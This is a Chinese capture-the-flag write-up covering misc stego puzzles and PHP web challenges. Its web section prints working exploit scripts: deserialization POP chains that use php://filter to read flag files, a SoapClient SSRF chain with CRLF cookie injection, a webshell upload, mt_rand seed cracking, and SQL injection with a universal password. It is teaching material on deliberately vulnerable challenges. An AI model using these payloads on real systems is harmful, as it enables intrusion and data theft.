目录
Misc
千层套路
和BJDCTF的一题一样,密码为文件名,重复解压,脚本跑就完事了。
ezmisc
修改行高。
你能看懂音符吗
用010editor打开,发现rar文件头错了,改为5261。正常之后解压缩,看到一个doc文档。
doc隐写的一种(其他方法参考https://xz.aliyun.com/t/1883/):
但此时还只能显示不能复制,还要一步操作:
再进入音符解密页面解密即可
A Signal From ISS
用robot36分析即可,安装包在robot36-1.44\app\release
目录下。
(这个是我用电脑插耳机顶着手机麦克风得到的图像,这声音属实难顶)
寻找xxx
解压之后有一个.wav文件,听了后发现是手机按键音(双音多频信号),把听到的数字发给公众号即可。
不眠之夜
拼图
Unravel!!
binwalk一下图片,发现又隐藏,foremost一下,发现多了三个文件,两张内容为Tokyo的图片和一个zip文件,打开是名字叫aes.png的图片,内容是Tokyo。
.wav提示我们看文件末尾,那就用010editor看看吧。得到一串字符:y=U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=
,根据前面的明示很显然是aes加密。
解密之后,得到一串字符:CCGandGulu,以此为密码解压缩,得到一个音频文件,用silenteye解开即可。
pyflag
解压后有三张图片,每张图片末尾有一段数据
拼接起来之后就是一个zip文件。看hex文件没有伪加密,于是爆破密码,得到密码为1234。
打开flag.txt,得到一串密文:
G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)
hint.txt提示我们用base解密。查找资料后发现是base85。
用python带的解密函数解密之后得到一串16进制字符,经过base16、base32、base16、base64解密后得到flag。
Hello_Misc
文件打开后得到一个flag.rar和try to restore it.png。flag.rar需要密码,那就先看看图片。
图片说试着还原它,但检查crc都是正确的。但看图片的hex下面好像有一个压缩包,foremost一下。
果然出来了一个带密码的压缩包。
接下来就是见证奇迹的时刻:
把图片的红色部分全部截掉(一点不能多一点不能少)
,然后把它当成二进制保存为图片,就可以看到:
保存图片的脚本如下:
from PIL import Image
import numpy as np
import re
import struct
img = Image.open('img.png')
a = np.array(img)
a.shape
c = ''
for i in range(58):
for j in range(1024):
if (a[i, j, 0] == 255):
c += '1'
else:
c += '0'
b = re.findall(r'.{8}', c)
d = []
for i in b:
d.append(int(i, 2))
o = open('out.png', 'wb')
for i in d:
t = struct.pack('B', i)
o.write(t)
o.close()
用得到的密码打开刚刚分离的压缩文件,得到一长串的数字
发现只有四个数字,脚本跑一跑,得到了flag.zip的密码。
脚本如下:
fp = open('out.txt','r')
a = fp.readlines()
p = []
for i in a:
p.append(int(i))
s = ''
for i in p:
if i == 63:
a = '00'
elif i == 127:
a = '01'
elif i == 191:
a = '10'
elif i == 255:
a = '11'
s += a
d = re.findall(r'.{8}', s)
o = ''
for i in d:
o += chr(int(i, 2))
print(o)
打开发现fffflag.zip其实是一个docx文件,更改后缀之后打开,全选,发现下面有猫腻:
改变字体颜色得到一串密文
MTEwMTEwMTExMTExMTEwMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTEwMDAwMDAxMTExMTExMTExMDAxMTAx
MTEwMTEwMTEwMDAxMTAxMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTExMTExMTExMTExMTEwMTEwMDEx
MTEwMDAwMTAxMTEwMTExMDExMTEwMTExMTExMTAwMDExMTExMTExMTExMDAxMDAxMTAxMTEwMDAwMDExMTExMDAwMDExMTExMTEx
MTEwMTEwMTAwMDAxMTExMDExMTEwMTExMTExMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTExMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAxMTExMTExMDExMTEwMTExMTAxMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTAxMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAwMDAxMTAwMDAwMTEwMDAwMDAxMTAwMDExMTAwMDAwMTEwMTEwMTEwMTAxMTEwMDAwMDAxMTExMDAwMDExMTExMTEx
是base64隐写加密,利用工具解密之后得到一串01字符
复制到doc,搜索0,即可得到flag
Web
Ezpop
点开即可看到源码,如下:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
各个魔术方法作用如下:
- 首先看到
Show类
的_wakeup()
,反序列化时调用,以此起手。 - 由于
_wakeup()
处用preg_match()
对$this->source
进行了比较,被当作字符串使用,于是开始调用_toString()
_toString()
处反序列化为Test类
,由于_toString()
里return了$this->str->source
,且Test里没有$source
,所以_get()
会自动被调用Test类
return一个$fuction()
,正好符合Modifier类
的_invoke()
,于是调用$this->append()
,append()
里有一个inlcude()
,如果此时inculde()里的值为php伪协议的话就可以顺利读取flag.php。
由于var
为protected,所以在进入之前需要先进行url编码
PHP脚本如下:
<?php
//pop链测试
class Modifier
{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$a->source=new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
base64解码即可得到flag
套娃
F12可以看到有一段php代码:
<?php
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
?>
可以看到需要我们将b_u_p_t
传进去,但参数名过滤了_
和%5f
。我们用.
代替下划线(空格也可以),即可将参数传入。下一步是b_u_p_t!=='23333'
但b_u_p_t
需要匹配到23333
(正则表达式测试网站:https://regex101.com/)
我们可以看到,我们的正则表达式没有/gm
,说明只匹配一行。我们利用换行符绕过即可。
payload:?b.u.p.t=23333%0a
pyflag
F12可以看到有一段前端代码:
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
但是卵用没有,只是告诉你有个flag.php而已(我还傻傻的看了半小时,哭了)
跳转到flag.php,
利用XFF头伪造本地即可得到flag。
ez_bypass
点开,可以看到一串php代码:
<?php
//I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
?>
简单MD5绕过。第一层用数组绕过,第二层用弱类型比较绕过。
payload:
传马
简单文件上传。先上传一个.htaccess文件,在上传一个图片马,然后蚁剑连一下就好。
ez_audit
www.zip源码泄露,代码如下:
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
之前安恒新年祈福赛的枯燥的抽奖类型差不多,就是利用mt_rand()伪随机数漏洞。
该题我们在知道了公钥之后可以得到它的seed,同样的seed随机同样次数出现的数是固定的,我们可以用php_mt_seed得到seed然后计算出私钥。下面是我的脚本:
<?php
$publickey = 'KVQP0LdJKRaV3n9D';
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$length = 16;
$ch2 = array();
for($i=0;$i<strlen($strings1);$i++){
$ch2[$i] = substr($strings1,$i,1);
}
for($i=0;$i<16;$i++)
{
$ch1 = substr($publickey, $i, 1);
for($j=0;$j<strlen($strings1);$j++)
{
if($ch2[$j]==$ch1){
echo $j." "."$j"." "."0"." ".(strlen($strings1)-1)." ";
break;
}
}
}
?>
在使用php_mt_seed之前,我们要先进入文件所在目录运行make,编译一下
然后将刚刚脚本得出的数字放进php_mt_seed中,爆破即可得到seed
得到seed之后,利用mt_srand()进行播种。再调用私钥函数即可得到私钥。(奇怪的是我把wp的脚本复制下来都没得到wp里的密钥,很迷)
得到私钥之后用万能密码即可得到flag。
Ezpop_Revenge
www.zip源码泄露,下载下来。由于是构造pop链,所以先找到反序列化的地方。(我这里使用的是phpstorm的find in path,推荐在linux下使用命令find . -name "*"| xargs grep "unserialize"
)
反序列化的地方有很多,但能用的就这一个。
我们看看核心代码:
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
可以看到HelloWorld_DB类
里又有一个Typecho_Db类
,追一下。在/var/IXR/Typecho/Db.php
里,核心代码如下:
class Typecho_Db{
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
}
注意看$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
,此时将$adapterName
进行拼接,即将其当作字符串使用,找找有没有_toString()
。在var\Typecho\Db
的Query.php
中有一个该魔术方法。去除其他无关函数后内容如下:
class Typecho_Db_Query{
private static $_default = array(
'action' => NULL,
'table' => NULL,
'fields' => '*',
'join' => array(),
'where' => NULL,
'limit' => NULL,
'offset' => NULL,
'order' => NULL,
'group' => NULL,
'having' => NULL,
'rows' => array(),
);
private $_sqlPreBuild;
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
这里我们要注意一下当$this->_sqlPreBuild['action']
为SELECT
的时候,有一个parseSelect()
,此时我们把$_adapter
实例化为soapClient
类,该类为php的原生类,没有parseSelect函数,从而调用该类里的_call()
,关于其他原生类的一点用法如下:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label3
下面贴的是工作室的学长写的脚本,注意的是,要用soapclient类需要打开php_soap拓展
class Typecho_Db_Query{
private $_adapter;
private $_sqlPreBuild;
public function __construct(){
$this->_adapter = new soapclient(null,array('location' => "http://127.0.0.1/flag.php",
'user_agent' => "AAA:BBB\r\n" .//这里用crlf设置了cookie,soapclient本来是不能设置coockie的,但可以通过crlf做到
"Cookie:PHPSESSID=e6bsvffup1nrljkbchevhp9pe1",//这里要用自己的Cookie,要把session带出就必须要带入一个session
'uri' => "http://127.0.0.1/"));
$this->_sqlPreBuild['action']='SELECT';
}
}
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=array(
"hello" => new Typecho_Db_Query(),
"world" => "typecho_"
);
}
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));
那么,该如何触发呢?我们看到www\var\Typecho
的plugin.php
有这么一段:
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}
可以看到这里添加了路由HelloWorld_Plugin,根据Typecho的文档,我们可以知道,只要访问了/page_admin
,就可以调用HelloWorld_Plugin插件,把脚本输出的值POST传入参数C0incid3nc3
之后就可以进行反序列化,然后利用soap访问flag.php实现SSRF,并将flag带入session中。
如何输出session呢?回到最开始的HelloWorld_DB
类,有一个if(isset($_REQUEST['admin'])) var_dump($_SESSION);
,也就是说只要传入admin
参数即可。
结果如下: